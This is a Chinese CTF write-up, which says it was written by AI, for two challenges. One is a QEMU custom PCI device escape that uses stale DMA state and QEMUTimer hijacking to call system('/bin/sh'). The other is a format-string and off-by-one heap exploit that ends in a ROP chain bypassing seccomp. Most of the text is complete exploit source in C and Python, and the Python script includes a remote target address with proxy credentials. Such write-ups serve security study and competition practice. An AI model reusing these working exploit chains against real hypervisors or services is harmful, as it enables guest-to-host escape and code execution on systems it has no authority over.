ccsssc-2026-半决赛

ccsssc-2026-半决赛

InkeyP Lv3

ccsssc-2026-半决赛

Attention! AI写的wp

hak

QEMU 自定义设备题,guest 里和 hak-pci 交互,最终改宿主机 QEMU 进程内存。重点在设备自己的状态管理,和 guest 内核没什么关系。

设备注册和初始化

hak_class_init 里:

1
2
3
4
PCI_DEVICE_CLASS(klass)->realize = hak_realize;
PCI_DEVICE_CLASS(klass)->vendor_id = 0xDEAD1337;
PCI_DEVICE_CLASS(klass)->revision = 1;
PCI_DEVICE_CLASS(klass)->class_id = 0xff;

guest 扫 PCI 找 vendor 0x1337 就能定位,exp.c 里的 pci_find_and_enable() 就这么做的,然后把 BAR0 映射成 MMIO。

hak_realize 做了三件事:注册 BAR0 MMIO、挂了一个 QEMUTimer、timer callback 是 hak_dma_timer_cb

1
2
3
4
5
// hak_realize
memory_region_init_io(..., hak_mmio_ops, s, "hak-mmio", 0x1000);
pci_register_bar(dev, 0, 0, mmio_region);
timer_init_full(timer, 0, 1, 1, 0, hak_dma_timer_cb, s);
s->timer = timer;

hak_reset 决定了第一步泄露的形状:设备里有 16 个 0x100 的小 chunk,reset 时头插法串成 freelist,所以第一次申请小块拿到的是最后压进去的 chunk15

1
2
3
4
5
6
7
// hak_reset
memset(chunks_and_entries, 0, ...);
for (i = 0; i < 16; i++) {
memset(&entry[i], 0, 0x20);
chunk[i].next = freelist_head;
freelist_head = &chunk[i];
}

MMIO 接口

接口只允许 8 字节访问:

1
2
3
4
5
6
hak_mmio_ops = {
.read = hak_mmio_read,
.write = hak_mmio_write,
.valid.min_access_size = 8,
.valid.max_access_size = 8,
}

exp.c 里封了一层 hak_r64() 就是这原因。

hak_mmio_write

关键 case:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
case 0x00:  // alloc
if (size <= 0x100 && freelist)
entry[idx].ptr = pop_freelist();
else
entry[idx].ptr = g_malloc(size);
entry[idx].id = idx;
entry[idx].flags_size = size * 2 + 1;
// dma_addr / dma_len 没清
break;

case 0x08: // free
if (entry[idx].size > 0x100)
g_free(entry[idx].ptr);
else
append_to_freelist_tail(entry[idx].ptr);
memset(&entry[idx], 0, 0x20);
break;

case 0x10: // trigger dma write
dma_dir = 1;
timer_mod_ns(timer, now + 1000);
break;

case 0x18: // set offset
if (off < entry[selected].size)
selected_offset = off;
break;

case 0x20: // select
selected = idx;
break;

case 0x28: // set dma addr
entry[idx].dma_addr = addr & ~0xf;
break;

case 0x30: // set dma len
if (len <= entry[idx].size)
entry[idx].dma_len = len;
break;

两个有用的点:

  1. alloc 只改 ptr/id/size,没清 dma_addr/dma_len
  2. 小 chunk free 回 freelist 没清 chunk 头,旧 next 指针还在,泄露地址用。

hak_mmio_read

1
2
3
4
5
6
7
8
9
10
if (addr == 0) {
dma_dir = 0;
timer_mod_ns(timer, now + 1000);
return 0;
}

if (addr == 8 && offset + size < entry[selected].size) {
memcpy(tmp, entry[selected].ptr + offset, size);
return tmp;
}

addr == 8 可以把 entry[selected].ptr + offset 处的内容读回来,伪造 entry.ptr 之后就是任意读。

hak_dma_timer_cb

1
2
3
4
5
6
7
8
if (entry[sel].allocated && entry[sel].ptr && entry[sel].dma_len) {
dma_memory_rw(&address_space_memory,
entry[sel].dma_addr,
0x100000000,
entry[sel].ptr,
entry[sel].dma_len,
dma_dir == 0 ? 1 : 0);
}

没有重新检查 dma_len <= 当前 ptr 对应缓冲区大小,stale DMA 核心在这里。

漏洞

  1. hak_reset 预置可预测 freelist。
  2. 小块 free 不清 next,chunk 里残留堆内地址。
  3. alloc 不清旧 dma_addr/dma_len,stale DMA state。
  4. hak_dma_timer_cb 信任这个 stale state,按旧长度写进新缓冲区。

整条链:freelist 泄露设备对象地址 → stale DMA 越界冲掉 entry[] → 伪造任意读写原语

exp 打法(hak\bin\exp.c

设备接口封装和 MMIO case 一一对应:

1
2
3
4
5
6
7
static void hak_alloc(int idx, int sz) { mmio_w64(0x00, idx << 16 | sz); }
static void hak_free(int idx) { mmio_w64(0x08, idx << 16); }
static void hak_sel(int idx) { mmio_w64(0x20, idx << 16); }
static void hak_off(int off) { mmio_w64(0x18, off << 16); }
static void hak_dma_addr(int idx, u64 a) { mmio_w64(0x28, (a & ~0xf) | idx); }
static void hak_dma_len(int idx, u64 l) { mmio_w64(0x30, (l & ~0xf) | idx); }
static void hak_dma_w(void) { mmio_w64(0x10, 0); }

addr==8 读路径按 4 字节搬,所以 hak_r64() 改两次 offset 各读一次再拼。

第一步:泄露 dev_state

1
2
3
4
hak_alloc(0, 0x80);
hak_sel(0);
u64 leak = hak_r64(0);
u64 dev_state = leak - (3052 + 14 * 256);

读到的是 chunk15->next,即 chunk14 地址,chunk 区和设备对象基址距离固定,反推 dev_state

第二步:清空 chunk 头,绕 freelist 检查

直接 free(0) 会把 chunk 挂回 freelist 尾,但头部旧 next 还在,之后分配走到自检分支就 abort。先把全零 DMA buffer 写回 chunk 头:

1
2
3
4
hak_dma_addr(0, dma_phys);
hak_dma_len(0, 0x10);
hak_sel(0);
hak_dma_w();

然后 free,再把其余小块全拿走,freelist 最后只剩 chunk15

第三步:stale DMA 越界,伪造 entry

1
2
3
4
hak_alloc(0, 0x200);
hak_dma_addr(0, dma_phys);
hak_dma_len(0, 0x1f0);
hak_alloc(0, 0x80);

先把 idx=0 分配成 0x200,设好 dma_len=0x1f0,再重新分配成 0x80entry[0].ptr 已经是 chunk15,但 dma_len 还是旧的 0x1f0,触发 DMA 就从 chunk15 一路覆盖到后面的 entry[]

1
2
3
4
5
6
7
8
9
entry_t *e = (entry_t *)(dma_buf + 260);
e[0].flags_size = 0x201;
e[0].ptr = dev_state + DS_CHUNK15;

e[1].flags_size = 0x4001;
e[1].ptr = dev_state;

e[2].flags_size = 0x4001;
e[2].ptr = dev_state + DS_ENTRY1_PTR;

entry[1] 是读写目标,初始指向 dev_stateentry[2] 指向 entry[1].ptr 字段,用来改写目标地址。set_target() 就是把地址写进 guest buffer,让 entry[2] 做一次 DMA 打进 entry[1].ptr,之后切 entry[1] 就是任意读写。

第四步:泄露 timer、code、libc

1
2
3
4
hak_sel(1);
u64 timer_ptr = hak_r64(0xBE0);
u64 leak3 = hak_r64(0x378);
u64 code_base = leak3 - 0x5d9e10;

从设备对象里直接读,再把目标切到 code_base + 0x1B131D0 取已解析的 libc 指针:

1
2
3
4
set_target(code_base + 0x1B131D0);
hak_sel(1);
u64 leak4 = hak_r64(0);
u64 libc_base = leak4 - 0x11ba80;

第五步:劫持 QEMUTimer

1
2
3
4
5
6
7
struct QEMUTimer {
int64_t expire_time;
QEMUTimerList *timer_list;
QEMUTimerCB *cb; // 劫持目标 (RIP)
void *opaque; // 参数 (RDI)
...
};

直接把 cb 改成 systemopaque 改成 "/bin/sh"

1
2
3
4
5
6
7
8
9
10
set_target(timer_ptr + 0x10);
hak_sel(1);
hak_dma_addr(1, dma_phys + 0x1800);
hak_dma_len(1, 0x10);

timer[0] = libc_base + 0x58750; // system
timer[1] = libc_base + 0x1cb42f; // "/bin/sh"

hak_dma_w(); // 第一次:原 callback 执行,把 cb/opaque 覆掉
hak_dma_w(); // 第二次:arm timer,callback 已经是 system

两个 hak_dma_w() 缺一不可,第一次写入,第二次触发。

完整 exp(hak\bin\exp.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
// musl-gcc exp.c --static -masm=intel -lpthread -idirafter /usr/include/ -idirafter /usr/include/x86_64-linux-gnu/ -o exp

#define _GNU_SOURCE

#include <assert.h>
#include <ctype.h>
#include <dirent.h>
#include <errno.h>
#include <fcntl.h>
#include <sched.h>
#include <signal.h>
#include <stdarg.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/io.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <termios.h>
#include <unistd.h>

#define C_RESET "\033[0m"
#define C_BOLD "\033[1m"
#define C_RED "\033[31m"
#define C_GREEN "\033[32m"
#define C_YELLOW "\033[33m"
#define C_BLUE "\033[34m"
#define C_MAGENTA "\033[35m"
#define C_CYAN "\033[36m"

#define C_ERR C_RED C_BOLD
#define C_INFO C_BLUE C_BOLD
#define C_OK C_GREEN C_BOLD
#define C_WARN C_YELLOW
#define C_DBG C_MAGENTA

#define LOG_IMPL(tag_color, tag, fmt) \
do { \
va_list _ap; \
va_start(_ap, fmt); \
fputs(tag_color "[" tag "] " C_RESET, stdout); \
vprintf(fmt, _ap); \
fputc('\n', stdout); \
va_end(_ap); \
} while (0)

__attribute__((format(printf, 1, 2))) static void info(const char* fmt, ...) { LOG_IMPL(C_INFO, "+", fmt); }
__attribute__((format(printf, 1, 2))) static void success(const char* fmt, ...) { LOG_IMPL(C_OK, "*", fmt); }
__attribute__((format(printf, 1, 2))) static void warn(const char* fmt, ...) { LOG_IMPL(C_WARN, "!", fmt); }
__attribute__((format(printf, 1, 2))) static void dbg(const char* fmt, ...) { LOG_IMPL(C_DBG, "#", fmt); }

__attribute__((format(printf, 1, 2), noreturn)) static void err_exit(const char* fmt, ...) {
va_list ap;
va_start(ap, fmt);
fputs(C_ERR "[x] " C_RESET, stdout);
vprintf(fmt, ap);
if (errno) printf(" (errno=%d: %s)", errno, strerror(errno));
fputc('\n', stdout);
va_end(ap);
fflush(stdout);
sleep(5);
exit(EXIT_FAILURE);
}

__attribute__((format(printf, 1, 2))) static void hex(const char* fmt, ...) { LOG_IMPL(C_OK, "+", fmt); }

void binary_dump(char* desc, void* addr, int len) {
u_int64_t* buf64 = (u_int64_t*)addr;
uint8_t* buf8 = (uint8_t*)addr;
if (desc != NULL) printf(C_WARN "[*] %s:\n" C_RESET, desc);
for (int i = 0; i < len / 8; i += 4) {
printf(" %04x", i * 8);
for (int j = 0; j < 4; j++) {
i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf(" ");
}
printf(" ");
for (int j = 0; j < 32 && j + i * 8 < len; j++) {
printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
}
puts("");
}
}

static void stdio_unbuf(void) {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
}

static void pin_cpu(int cpu) {
cpu_set_t s;
CPU_ZERO(&s);
CPU_SET(cpu, &s);
if (sched_setaffinity(0, sizeof(s), &s) != 0) warn("sched_setaffinity(%d) failed", cpu);
}

static void realtime_prio(int prio) {
struct sched_param sp = {.sched_priority = prio};
if (sched_setscheduler(0, SCHED_FIFO, &sp) != 0) warn("sched_setscheduler SCHED_FIFO(%d) failed", prio);
}

#define mb() __asm__ __volatile__("mfence" ::: "memory")
#define rmb() __asm__ __volatile__("lfence" ::: "memory")
#define wmb() __asm__ __volatile__("sfence" ::: "memory")
#define cpu_relax() __asm__ __volatile__("pause" ::: "memory")

void* mmio_mem;

static inline uint8_t mmio_r8(u_int64_t off) { return *(volatile uint8_t*)((uint8_t*)mmio_mem + off); }
static inline uint16_t mmio_r16(u_int64_t off) { return *(volatile uint16_t*)((uint8_t*)mmio_mem + off); }
static inline uint32_t mmio_r32(u_int64_t off) { return *(volatile uint32_t*)((uint8_t*)mmio_mem + off); }
static inline u_int64_t mmio_r64(u_int64_t off) { return *(volatile u_int64_t*)((uint8_t*)mmio_mem + off); }
static inline void mmio_w8(u_int64_t off, uint8_t v) { *(volatile uint8_t*)((uint8_t*)mmio_mem + off) = v; }
static inline void mmio_w16(u_int64_t off, uint16_t v) { *(volatile uint16_t*)((uint8_t*)mmio_mem + off) = v; }
static inline void mmio_w32(u_int64_t off, uint32_t v) { *(volatile uint32_t*)((uint8_t*)mmio_mem + off) = v; }
static inline void mmio_w64(u_int64_t off, u_int64_t v) { *(volatile u_int64_t*)((uint8_t*)mmio_mem + off) = v; }

static void* pci_map_bar(const char* sysfs_resource, size_t len) {
int fd = open(sysfs_resource, O_RDWR | O_SYNC);
if (fd < 0) err_exit("open(%s)", sysfs_resource);
void* m = mmap(NULL, len, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
if (m == MAP_FAILED) err_exit("mmap %s", sysfs_resource);
close(fd);
info("BAR %s mapped @ %p (len=%#zx)", sysfs_resource, m, len);
return m;
}

static inline uint8_t pio_in8(uint16_t p) { return inb(p); }
static inline uint16_t pio_in16(uint16_t p) { return inw(p); }
static inline uint32_t pio_in32(uint16_t p) { return inl(p); }
static inline void pio_out8(uint16_t p, uint8_t v) { outb(v, p); }
static inline void pio_out16(uint16_t p, uint16_t v) { outw(v, p); }
static inline void pio_out32(uint16_t p, uint32_t v) { outl(v, p); }

#define PAGE_SIZE 0x1000UL
#define HUGE_SIZE 0x200000UL

static u_int64_t virt_to_phys(void* vaddr) {
int fd = open("/proc/self/pagemap", O_RDONLY);
if (fd < 0) return 0;
u_int64_t vfn = (u_int64_t)vaddr / PAGE_SIZE;
u_int64_t entry = 0;
if (pread(fd, &entry, sizeof(entry), vfn * 8) != sizeof(entry)) {
close(fd);
return 0;
}
close(fd);
if (!(entry & (1ULL << 63))) return 0;
u_int64_t pfn = entry & ((1ULL << 55) - 1);
return (pfn * PAGE_SIZE) | ((u_int64_t)vaddr & (PAGE_SIZE - 1));
}

static void* alloc_phys_pinned(size_t size, u_int64_t* phys_out) {
void* p = mmap(NULL, size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE | MAP_LOCKED, -1, 0);
if (p == MAP_FAILED) err_exit("mmap(%zu)", size);
memset(p, 0, size);
if (mlock(p, size) != 0) warn("mlock failed — pages may get evicted");
if (phys_out) {
*phys_out = virt_to_phys(p);
if (!*phys_out) err_exit("virt_to_phys (run as root? /proc/self/pagemap restricted)");
}
return p;
}

static void* alloc_hugepage(u_int64_t* phys_out) {
void* p = mmap(NULL, HUGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_HUGETLB | MAP_POPULATE, -1, 0);
if (p == MAP_FAILED) {
warn("hugepage mmap failed — is /sys/kernel/mm/hugepages/*/nr_hugepages > 0?");
return NULL;
}
memset(p, 0, HUGE_SIZE);
if (phys_out) *phys_out = virt_to_phys(p);
return p;
}

static ssize_t slurp(const char* path, void* buf, size_t cap) {
int fd = open(path, O_RDONLY);
if (fd < 0) return -1;
ssize_t n = read(fd, buf, cap);
close(fd);
return n;
}

static void xwrite_file(const char* path, const void* buf, size_t n) {
int fd = open(path, O_WRONLY);
if (fd < 0) err_exit("open(%s) W", path);
if (write(fd, buf, n) != (ssize_t)n) err_exit("write(%s)", path);
close(fd);
}

/* ============ device state offsets (from opaque base) ============ */
#define DS_TIMER_PTR 3040
#define DS_DMA_DIR 3048
#define DS_SELECTED 3049
#define DS_OFFSET 3050
#define DS_CHUNKS 3052
#define DS_CHUNK15 6892
#define DS_ENTRIES 7152
#define DS_ENTRY1_PTR 7192
#define DS_MUTEX 7664
#define DS_FREELIST 7720

/* ============ globals ============ */
static uint8_t* dma_buf;
static u_int64_t dma_phys;

/* ============ device API ============
*
* valid.min = valid.max = 8 → guest MUST use 8-byte accesses
* impl.min = impl.max = 0 → defaults to 1/4
*
* QEMU splits each 8-byte access into two 4-byte handler calls:
* - writes: (addr, low32, 4) then (addr+4, high32, 4). addr+4 no match → ignored.
* - reads: (addr, 4) then (addr+4, 4). addr+4 returns -1 → upper 32 bits = 0xFFFFFFFF.
*/

static void hak_alloc(int idx, int sz) { mmio_w64(0x00, (u_int64_t)idx << 16 | sz); }
static void hak_free(int idx) { mmio_w64(0x08, (u_int64_t)idx << 16); }
static void hak_sel(int idx) { mmio_w64(0x20, (u_int64_t)idx << 16); }
static void hak_off(int off) { mmio_w64(0x18, (u_int64_t)off << 16); }
static void hak_dma_addr(int idx, u_int64_t a) { mmio_w64(0x28, (a & ~0xfULL) | (idx & 0xf)); }
static void hak_dma_len(int idx, u_int64_t l) { mmio_w64(0x30, (l & ~0xfULL) | (idx & 0xf)); }
static void hak_dma_r(void) { mmio_r64(0x00); }
static void hak_dma_w(void) { mmio_w64(0x10, 0); }
static void breakpoint(int n) { mmio_w64(0x20, n << 16); }

static uint32_t hak_r32(void) { return (uint32_t)mmio_r64(0x08); }

static u_int64_t hak_r64(int off) {
hak_off(off);
uint32_t lo = hak_r32();
hak_off(off + 4);
uint32_t hi = hak_r32();
return (u_int64_t)hi << 32 | lo;
}

static void dma_wait(void) { usleep(100000); }

/* ============ PCI device discovery ============ */

static void pci_find_and_enable(const char* vendor, char* res_path, size_t len) {
char path[256], buf[16];
DIR* dir = opendir("/sys/bus/pci/devices");
if (!dir) err_exit("opendir pci devices");
struct dirent* ent;
while ((ent = readdir(dir)) != NULL) {
if (ent->d_name[0] == '.') continue;
snprintf(path, sizeof(path), "/sys/bus/pci/devices/%s/vendor", ent->d_name);
if (slurp(path, buf, sizeof(buf) - 1) <= 0) continue;
buf[15] = 0;
if (!strstr(buf, vendor)) continue;

snprintf(path, sizeof(path), "/sys/bus/pci/devices/%s/config", ent->d_name);
int fd = open(path, O_RDWR);
if (fd >= 0) {
uint16_t cmd;
pread(fd, &cmd, 2, 4);
cmd |= 0x6;
pwrite(fd, &cmd, 2, 4);
close(fd);
}
snprintf(res_path, len, "/sys/bus/pci/devices/%s/resource0", ent->d_name);
closedir(dir);
return;
}
closedir(dir);
err_exit("PCI device vendor=%s not found", vendor);
}

/* ============ entry layout ============ */

typedef struct __attribute__((packed)) {
uint32_t flags_size;
uint32_t id;
u_int64_t ptr;
u_int64_t dma_addr;
uint32_t dma_len;
uint32_t pad;
} entry_t;

/* ============ main ============ */

static void set_target(u_int64_t addr) {
*(u_int64_t*)(dma_buf + 0x1000) = addr;
*(u_int64_t*)(dma_buf + 0x1008) = 0;

hak_dma_addr(2, dma_phys + 0x1000);
hak_dma_len(2, 0x10);

hak_sel(2);
hak_dma_w();
dma_wait();
}

int main() {
stdio_unbuf();

char res_path[256];
pci_find_and_enable("0x1337", res_path, sizeof(res_path));
mmio_mem = pci_map_bar(res_path, 0x1000);
dma_buf = alloc_phys_pinned(0x2000, &dma_phys);
hex("dma virt=%p phys=0x%lx", dma_buf, dma_phys);

hak_alloc(0, 0x80);

hak_sel(0);
u_int64_t leak = hak_r64(0);
hex("leak=0x%lx", leak);
u_int64_t entrys = leak + 0x204;
hex("entrys=0x%lx", entrys);
u_int64_t dev_state = leak - (3052 + 14 * 256);
hex("dev_state=0x%lx", dev_state);

hak_dma_addr(0, dma_phys);
hak_dma_len(0, 0x10);
hak_sel(0);
hak_dma_w();
dma_wait();

hak_free(0);
for (int i = 1; i <= 14; i++) hak_alloc(i, 0x80);
hak_alloc(15, 0x80);

hak_alloc(0, 0x200);
hak_dma_addr(0, dma_phys);
hak_dma_len(0, 0x1F0);
hak_alloc(0, 0x80);

typedef struct __attribute__((packed)) {
uint32_t flags_size;
uint32_t id;
u_int64_t ptr;
u_int64_t dma_addr;
uint32_t dma_len;
uint32_t pad;
} entry_t;

entry_t* e = (entry_t*)(dma_buf + 260);

e[0].flags_size = 0x201;
e[0].id = 0;
e[0].ptr = dev_state + DS_CHUNK15;

e[1].flags_size = 0x4001;
e[1].id = 1;
e[1].ptr = dev_state;

e[2].flags_size = 0x4001;
e[2].id = 2;
e[2].ptr = dev_state + DS_ENTRY1_PTR;

hak_sel(0);
hak_dma_w();
dma_wait();

hak_sel(1);
u_int64_t leak2 = hak_r64(8);
hex("leak2=0x%lx", leak2);
u_int64_t libglib_base = leak2 - 0x5f6c0;
hex("libglib_base=0x%lx", libglib_base);
u_int64_t timer_ptr = hak_r64(0xBE0);
hex("timer_ptr=0x%lx", timer_ptr);
u_int64_t leak3 = hak_r64(0x378);
u_int64_t code_base = leak3 - 0x5d9e10;
hex("code_base=0x%lx", code_base);

/*
struct QEMUTimer {
int64_t expire_time;
QEMUTimerList* timer_list;
QEMUTimerCB* cb; // <--- 劫持目标 (RIP)
void* opaque; // <--- 参数目标 (RDI)
QEMUTimer* next;
int scale;
};
*/

set_target(code_base + 0x1B131D0);
hak_sel(1);
u_int64_t leak4 = hak_r64(0);
hex("leak4=0x%lx", leak4);
u_int64_t libc_base = leak4 - 0x11ba80;
hex("libc_base=0x%lx", libc_base);

set_target(timer_ptr + 0x10);
hak_sel(1);
hak_dma_addr(1, dma_phys + 0x1800);
hak_dma_len(1, 0x10);

u_int64_t* timer = (u_int64_t*)(dma_buf + 0x1800);
timer[0] = libc_base + 0x58750;
timer[1] = libc_base + 0x1cb42f;

info("Write QEMUimer");
hak_dma_w();
dma_wait();

info("Trigger QEMUimer");
hak_dma_w();

return 0;
}

Robo Admin

前后呼应的题,前半段格式化字符串专门给后半段堆利用准备 stack / PIE / libc / creds,后半段一字节溢出打 tcache 到栈上做 ROP。

FIX

入口和初始化

main 很短:

1
2
3
4
5
6
7
8
9
10
11
12
13
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
setup_seccomp();
reset_state();
gen_random_creds();

while (1) {
puts("1. set notice");
puts("2. show status");
puts("3. admin login");
...
}

reset_state

1
2
3
4
5
6
7
8
9
10
for (i = 0; i <= 7; ++i) {
if (heap[i]) free(heap[i]);
heap[i] = 0;
size[i] = 0;
}
memset(name, 0, 0xc0);
memset(slot, 0, 8);
memset(s_0, 0, 0x100);
dword_52C0 = dword_52C4 = dword_52C8 = 0;
qword_52D0 = qword_52D8 = 0;

初始化状态,没坑。

gen_random_creds

1
2
getrandom(&qword_52D0, 8, 0);
getrandom(&qword_52D8, 8, 0);

管理员密码从这来,后面 admin_login 里会被拼成 32 个 hex 字符。

setup_seccomp

1
2
3
4
5
ctx = seccomp_init(0x7fff0000);
seccomp_rule_add(ctx, 0, 2, 0); // open
seccomp_rule_add(ctx, 0, 59, 0); // execve
seccomp_rule_add(ctx, 0, 322, 0); // execveat
seccomp_load(ctx);

黑了 open/execve/execveat,所以后面走 ORW。小细节:exp 用的是 libc.sym.open,glibc open wrapper 走 openat(257),没撞 seccomp。

格式化字符串

关键函数三个:do_readset_noticevuln_show_status_fmtstr

set_notice

1
2
3
4
5
6
7
8
9
do_read(s, 512);
if (strchr(s, '%') || strchr(s, '$')) {
puts("[X] raw input contains illegal chars");
} else if (hex_decode(s, src, 256)) {
puts("[X] decode failed");
} else {
memcpy(s_0, src, 0x100);
dword_52C0 = 1;
}

看起来过滤了 %$,但 hex_decode 会把 \x25 -> %\x24 -> $,过滤发生在解码前,直接绕。exp 里:

1
2
s = s.replace(b'$', b'\\x24')
s = s.replace(b'%', b'\\x25')

vuln_show_status_fmtstr

1
2
3
4
5
6
7
8
9
printf("Notice: ");
if (has_notice) {
if (printed_once) {
printf("%s", s_0);
} else {
printed_once = 1;
printf(s_0, ..., qword_52D0, qword_52D8, stack_anchor...);
}
}

第一次 show statusprintf(s_0),格式化字符串;第二次退化成 printf("%s", s_0)。泄露必须一次拿够:

1
2
set_notice(b'%14$p%15$p%23$p%6$p%7$p#')
show()

一次拿出栈地址、PIE 基址、libc 基址、qword_52D0qword_52D8

admin_login

没洞,但秘密前面已经全拿了:

1
2
3
snprintf(pass, 0x28, "%016lx%016lx", qword_52D0, qword_52D8);
if (!strcmp(token, "ROBOADMIN") && !strcmp(buf, pass))
puts("[+] login success");

直接登进去。

堆利用

漏洞:vuln_task_edit_off_by_one

1
2
nbytes = read_size_range("Write length :", 1, size[idx] + 1);
read_size = read(0, heap[idx], nbytes);

申请时 size[idx] 字节,编辑允许写 size[idx] + 1,稳定一字节堆溢出。

第一段:overlap 泄露 heap_base

1
2
3
4
5
6
7
8
9
10
add(0, 0x98, b'a')
dele(0)
for i in range(8):
if i == 3:
add(i, 0xF8, b'a')
else:
add(i, 0x1E8, b'a')

edit(4, b'\x00' * 0xE8 + p64(0x21) + b'\x00' * 0x10 + p64(0x20) + p64(0x21))
edit(2, b'\x00' * 0x1E8 + b'\xf1')

两次 off-by-one 改 size 低字节,做出 overlap,把 chunk 塞进合适的 tcache bin,然后:

1
2
3
show(7)
ru(b' => ')
heap_base = (u64_ex(ru(b'\n', drop=1)) - 2) << 12

读出 freed chunk 里的 safe-linking 指针,还原 heap_base(glibc 2.35 safe-linking,后面毒 fd 要用)。

第二段:tcache poisoning 到栈

1
2
3
edit(7, p64(protect_ptr(heap_base + 0x2030, stack - 0x30)))
add(3, 0x48, b'a')
add(4, 0x48, b'a')

第二次 add(4, 0x48) 返回的 chunk 落在 stack - 0x30 附近,之后 edit(4, ...) 就是改栈。

两段式 ROP

直接在栈空间有限,先写第一阶段:

1
2
3
4
5
6
7
edit(4, flat([
0,
rdi, 0,
rsi, stack - 0x28 + 0x40,
rdx_rbx, 0x200, 0,
libc.sym.read
]))

read(0, new_stack, 0x200) 把第二阶段链读进来,然后 logout 触发 task_menu 返回:

1
2
sla(IAT, b'6')
sl(orw)

第二阶段 ORW:

1
2
3
4
5
6
7
8
9
10
11
orw = flat([
rdi, stack + 0x20,
rsi, 0,
libc.sym.open,
rdi, 3,
rsi, stack + 0x500,
rdx_rbx, 0x100, 0,
libc.sym.read,
rdi, 1,
libc.sym.write
])

seccomp 黑了 open 但 glibc wrapper 走 openat,flag 照读。

完整 exp(Robo Admin\robo_admin.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
#!/usr/bin/env python3
from pwncli import *
import socks


def remote_socks5(host, port, proxy_host="127.0.0.1", proxy_port=1080, proxy_user=None, proxy_pass=None):
s = socks.socksocket()
s.set_proxy(socks.SOCKS5, proxy_host, proxy_port, username=proxy_user, password=proxy_pass)
s.connect((host, port))
return remote.fromsocket(s)


context.terminal = ['cmd.exe', '/c', 'start', 'wt.exe', '-w', '0', 'sp', '-s', '0.6', '-d', '.', 'wsl.exe', 'bash', '-c']
local_flag = sys.argv[1] if len(sys.argv) == 2 else 0

gift.elf = ELF(elf_path := './robo_admin')
if local_flag == "remote":
gift.io = remote_socks5('192.0.100.2', 9999, '9.dart.ccsssc.com', 26657, 'wdc4j0ta', 'ysp7kchy')
else:
gift.io = process(elf_path)
gift.remote = local_flag in ("remote", "nodbg")
init_x64_context(gift.io, gift)
libc = load_libc()

cmd = '''
brva 0x1A4A
brva 0x249A
brva 0x1DA9
brva 0x1F32
brva 0x227F
brva 0x20A4
brva 0x2635
set $h = $rebase(0x5140)
dir /mnt/f/Documents/CTF/glibc/glibc-2.35
c
# b unlink_chunk
'''


def set_notice(s):
sla(b'> \n', b'1')
s = s.replace(b'$', b'\\x24')
s = s.replace(b'%', b'\\x25')
sl(s)


def show():
sla(b'> \n', b'2')


set_notice(b'%14$p%15$p%23$p%6$p%7$p#')
show()
ru(b'0x')
stack = int(ru(b'0x', drop=1), 16)
code_base = int(ru(b'0x', drop=1), 16) - 0x2893
libc_base = int(ru(b'0x', drop=1), 16) - 0x29D90
leak_ex2(stack)
set_current_code_base_and_log(code_base)
set_current_libc_base_and_log(libc_base)
token = int(ru(b'0x', drop=1), 16)
passwd = int(ru(b'#', drop=1), 16)
leak_ex2(token)
leak_ex2(passwd)

sla(b'> \n', b'3')
sla(b'Token:\n', b'ROBOADMIN')
sla(b'Password (32 hex):\n', hex(token)[2:] + hex(passwd)[2:])

IAT = b'> \n'


def add(idx, size, name=b'a'):
sla(IAT, b'1')
sla(b'Index:\n', str(idx))
sla(b'Task name:\n', name)
sla(b'size', str(size))


def dele(idx):
sla(IAT, b'5')
sla(b'Index:\n', str(idx))


def edit(idx, data):
sla(IAT, b'2')
sla(b'Index:\n', str(idx))
sla(b'Write length :\n', str(len(data)))
sa(b'New desc bytes:\n', data)


def show(idx):
sla(IAT, b'3')
